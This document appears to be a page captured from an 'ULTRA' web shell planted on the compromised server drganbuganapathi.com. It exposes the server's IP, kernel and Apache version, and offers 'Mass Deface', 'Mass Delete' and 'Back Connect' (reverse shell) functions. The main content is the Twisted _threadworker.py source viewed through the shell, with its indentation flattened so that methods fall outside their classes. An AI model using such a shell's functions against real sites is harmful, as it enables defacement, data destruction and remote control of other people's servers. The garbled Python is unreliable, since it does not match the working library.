ULTRA [ drganbuganapathi.com ]

Linux mail.drganbuganapathi.com 6.8.0-60-generic #63-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 19:04:15 UTC 2025 x86_64

Apache/2.4.58 (Ubuntu)

165.22.222.249 | Your IP: 216.73.216.201

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ proc / self / root / lib / python3 / dist-packages / twisted / _threads /

Home Upload Mass Deface Mass Delete Back Connect Notify

_threadworker.py

# -*- test-case-name: twisted._threads.test.test_threadworker -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Implementation of an L{IWorker} based on native threads and queues.
"""

from typing import Callable

from zope.interface import implementer

from ._convenience import Quit
from ._ithreads import IExclusiveWorker

_stop = object()

@implementer(IExclusiveWorker)
class ThreadWorker:
    """
    An L{IExclusiveWorker} implemented based on a single thread and a queue.

This worker ensures exclusivity (i.e. it is an L{IExclusiveWorker} and not
    an L{IWorker}) by performing all of the work passed to C{do} on the I{same}
    thread.
    """

def __init__(self, startThread, queue):
        """
        Create a L{ThreadWorker} with a function to start a thread and a queue
        to use to communicate with that thread.

@param startThread: a callable that takes a callable to run in another
            thread.
        @type startThread: callable taking a 0-argument callable and returning
            nothing.

@param queue: A L{Queue} to use to give tasks to the thread created by
            C{startThread}.
        @type queue: L{Queue}
        """
        self._q = queue
        self._hasQuit = Quit()

def work():
            for task in iter(queue.get, _stop):
                task()

startThread(work)

def do(self, task: Callable[[], None]) -> None:
        """
        Perform the given task on the thread owned by this L{ThreadWorker}.

@param task: the function to call on a thread.
        """
        self._hasQuit.check()
        self._q.put(task)

def quit(self):
        """
        Reject all future work and stop the thread started by C{__init__}.
        """
        # Reject all future work.  Set this _before_ enqueueing _stop, so
        # that no work is ever enqueued _after_ _stop.
        self._hasQuit.set()
        self._q.put(_stop)

@implementer(IExclusiveWorker)
class LockWorker:
    """
    An L{IWorker} implemented based on a mutual-exclusion lock.
    """

def __init__(self, lock, local):
        """
        @param lock: A mutual-exclusion lock, with C{acquire} and C{release}
            methods.
        @type lock: L{threading.Lock}

@param local: Local storage.
        @type local: L{threading.local}
        """
        self._quit = Quit()
        self._lock = lock
        self._local = local

def do(self, work: Callable[[], None]) -> None:
        """
        Do the given work on this thread, with the mutex acquired.  If this is
        called re-entrantly, return and wait for the outer invocation to do the
        work.

@param work: the work to do with the lock held.
        """
        lock = self._lock
        local = self._local
        self._quit.check()
        working = getattr(local, "working", None)
        if working is None:
            working = local.working = []
            working.append(work)
            lock.acquire()
            try:
                while working:
                    working.pop(0)()
            finally:
                lock.release()
                local.working = None
        else:
            working.append(work)

def quit(self):
        """
        Quit this L{LockWorker}.
        """
        self._quit.set()
        self._lock = None

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2024-09-06 12:18:55
..	dir	-	root/root	drwxr-xr-x	2024-09-06 12:18:55
__pycache__	dir	-	root/root	drwxr-xr-x	2024-09-06 12:18:55
test	dir	-	root/root	drwxr-xr-x	2024-09-06 12:18:55
__init__.py	text/x-python	505 B	root/root	-rw-r--r--	2024-08-27 04:00:39
_convenience.py	text/x-python	894 B	root/root	-rw-r--r--	2024-08-27 04:00:39
_ithreads.py	text/x-python	1.76 KB	root/root	-rw-r--r--	2024-08-27 04:00:39
_memory.py	text/x-python	1.56 KB	root/root	-rw-r--r--	2024-08-27 04:00:39
_pool.py	text/x-python	2.52 KB	root/root	-rw-r--r--	2024-08-27 04:00:39
_team.py	text/x-python	7.51 KB	root/root	-rw-r--r--	2024-08-27 04:00:39
_threadworker.py	text/x-python	3.3 KB	root/root	-rw-r--r--	2024-08-27 04:00:39